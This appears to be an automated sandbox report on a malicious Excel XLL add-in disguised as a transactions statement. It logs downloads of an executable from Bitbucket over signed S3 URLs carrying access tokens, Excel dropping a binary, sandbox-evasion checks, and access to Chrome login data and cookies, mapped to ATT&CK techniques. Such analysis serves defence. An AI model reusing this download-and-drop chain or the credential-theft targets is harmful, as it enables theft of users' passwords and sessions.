Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://substrate.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://substrate.office.com/Notes-Internal.ReadWrite
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://tasks.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://webshell.suite.office.com
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://wus2.contentsync.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000EF3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://www.odwebp.svc.ms
Source: DCE7C43F-89A3-45C5-AB14-896C22C70948.2.dr	String found in binary or memory: https://www.yammer.com

Source: unknown

DNS traffic detected: queries for: bitbucket.org

Source: global traffic	HTTP traffic detected: GET /simplecry/test/downloads/b0xsupp0rt_Transactions.exe HTTP/1.1Host: bitbucket.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/2795c53b-98ef-44a6-a372-dd58b884a173/b0xsupp0rt_Transactions.exe?response-content-disposition=attachment%3B%20filename%3D%22b0xsupp0rt_Transactions.exe%22&AWSAccessKeyId=ASIA6KOSE3BNIIEG6UD4&Signature=rTKR3m0FFb0e0hqWK9qjLdvL26c%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDGCnntU5f3AgLskEVCK%2BAcA4G5LXTJXndKoDJmkSX%2Bnh61mDZ5tXE%2FpTzjRJueGnNcz%2FPcKaF4Skrn3ls5xYdkjJrUmQRArxswhjM2%2FcA3gMVlrSFpa%2Fg2kVVXYAVnUskZV1d%2BgZr0s65APmS4TdBR2nP9JTOshVdVHS9Q%2FlNZaCLZ2iKMZG%2Fj54dOfY9e70Xv9sKhePj7d1TzSwSn0LLEEknvfzgjbIgauzojZeXM1e7k8hFFI4g6fktpOIYk5XgVr11UOC8KgqEqWoxDcow7PkpQYyLS7RuvH%2BV%2Fm48jrkTTy0EWUR122UdTuIwvjfAUUB2tvGgYXDKMUPFNyHqEoV4Q%3D%3D&Expires=1689854155 HTTP/1.1Host: bbuseruploads.s3.amazonaws.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /simplecry/test/downloads/sheet_spending.xlsx HTTP/1.1Host: bitbucket.org
Source: global traffic	HTTP traffic detected: GET /25e38aca-ccc9-48c3-8a77-44a6af8af2fb/downloads/c73c855d-7a2d-49de-b44d-255e45097f08/sheet_spending.xlsx?response-content-disposition=attachment%3B%20filename%3D%22sheet_spending.xlsx%22&AWSAccessKeyId=ASIA6KOSE3BNHRP5HY26&Signature=39jeT%2FckAGNesRSUXBWkEdPCx%2F4%3D&x-amz-security-token=FwoGZXIvYXdzEC0aDAqik0tAxwmFDsP2lSK%2BARtV432Ws3%2BNTskJH9I%2BBsTTme0j72FReX5XtlCUDAX2l0u56MLZbcETGMkw7j%2BpxAJQsuzVl%2Ft0eFm%2Ba35Q1ozDKj7aKXkAZzYbdSj0Iw3snSHcQUyE6AQioYL%2FGQfZuM4lPDsjwrhgJ0dwdg9U5OLKbK7GxBlv%2BnvJPhuS04tMwTUar55KLxyCqHa7cCIPnDSG81%2F3FEJ6omI4BF3E5bqdJT0PiP7cpt97ptAfBrmlZ5RvsjLw6A8PN%2FWRIfMox7PkpQYyLUieOgNm8bCr2RhA6RxxrHujAEgmdz8vrHaFUbc0vg13qVDHgW1rT96eXvXobw%3D%3D&Expires=1689854159 HTTP/1.1Host: bbuseruploads.s3.amazonaws.com

Source: unknown	HTTPS traffic detected: 104.192.141.1:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.217.14.20:443 -> 192.168.2.7:49703 version: TLS 1.2

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: 3_2_002B4868 GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetDC,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateDIBSection,SelectObject,BitBlt,DeleteObject,DeleteDC,ReleaseDC,

3_2_002B4868

Source: GcQGGmjG.exe, 00000003.00000002.481018769.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Office process drops PE file

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Jump to dropped file

Source: 2023-07-01-2023-07-15_Transactions.xll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Resource name: ASSEMBLY type: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Resource name: RT_STRING type: PDP-11 demand-paged pure executable not stripped

Source: 2023-07-01-2023-07-15_Transactions.xll	Binary or memory string: OriginalFilenameExcelDna.ManagedHost.dll~/ vs 2023-07-01-2023-07-15_Transactions.xll
Source: 2023-07-01-2023-07-15_Transactions.xll	Binary or memory string: OriginalFilenameExcelDna.xll~/ vs 2023-07-01-2023-07-15_Transactions.xll

Source: C:\Windows\SysWOW64\cmd.exe

Section loaded: sfc.dll

Jump to behavior

Source: 2023-07-01-2023-07-15_Transactions.xll	ReversingLabs: Detection: 18%
Source: 2023-07-01-2023-07-15_Transactions.xll	Virustotal: Detection: 21%

Source: 2023-07-01-2023-07-15_Transactions.xll

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /C "C:\Users\user\Desktop\2023-07-01-2023-07-15_Transactions.xll"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /dde
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe C:\Users\user\AppData\Roaming\GcQGGmjG.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /dde	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user~1\AppData\Local\Temp\{3262F386-41F9-4063-8E2D-184B10379927} - OProcSessId.dat

Jump to behavior

Source: classification engine

Classification label: mal100.spyw.expl.evad.winXLL@7/4@3/3

Source: C:\Windows\SysWOW64\cmd.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: GcQGGmjG.exe, 00000003.00000003.476374220.0000000009A1B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:812:120:WilError_01
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Mutant created: \Sessions\1\BaseNamedObjects\f11358c3-e23b-4d3a-ac3f-581500bf05ee

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet4.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/charts/chart1.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/_rels/sheet3.xml.rels
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet13.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet8.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet7.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet6.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet5.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet9.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet14.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet10.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet11.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/worksheets/sheet12.xml
Source: GcQGGmjG.xlsx.2.dr	Initial sample: OLE zip file path = xl/calcChain.xml

Source: 2023-07-01-2023-07-15_Transactions.xll

Static PE information: More than 8191 > 100 exports found

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 2023-07-01-2023-07-15_Transactions.xll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: /_/Source/ExcelDna.ManagedHost/obj/Release/net452/ExcelDna.ManagedHost.pdbSHA256m source: 2023-07-01-2023-07-15_Transactions.xll
Source:	Binary string: /_/Source/ExcelDna.ManagedHost/obj/Release/net452/ExcelDna.ManagedHost.pdb source: 2023-07-01-2023-07-15_Transactions.xll
Source:	Binary string: C:\Work\Excel-DNA\ExcelDna\Source\ExcelDna\Release\ExcelDna.pdb source: 2023-07-01-2023-07-15_Transactions.xll

Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 2023-07-01-2023-07-15_Transactions.xll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

File created: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_3-2202

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-2287

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe TID: 3688	Thread sleep count: 407 > 30			Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe TID: 3688	Thread sleep time: -40700s >= -30000s			Jump to behavior

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Window / User API: threadDelayed 407

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: GetCursorPos,GetCursorPos,Sleep,

3_2_002B2192

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: 3_2_002B202A GetCurrentHwProfileA,GetSystemInfo,EnumDisplayDevicesA,EnumDisplayDevicesA,

3_2_002B202A

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B1D2F FindFirstFileW,FindNextFileW,	3_2_002B1D2F
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B1000 FindFirstFileW,FindNextFileW,EnterCriticalSection,LeaveCriticalSection,	3_2_002B1000
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B4ABC FindFirstFileW,EnterCriticalSection,LeaveCriticalSection,FindNextFileW,	3_2_002B4ABC
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B4068 FindFirstFileW,FindNextFileW,	3_2_002B4068
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	Code function: 3_2_002B3EAA FindFirstFileW,FindNextFileW,	3_2_002B3EAA

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Cache\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\	Jump to behavior

Source: GcQGGmjG.exe, 00000003.00000002.484015068.0000000009E18000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllc

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: 3_2_002B351E GetProcessHeap,RtlFreeHeap,

3_2_002B351E

Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /dde

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe

Code function: 3_2_002B202A cpuid

3_2_002B202A

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\GcQGGmjG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	11 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Screen Capture	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	33 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 Input Capture	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Extra Window Memory Injection	11 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 DLL Side-Loading	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	23 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

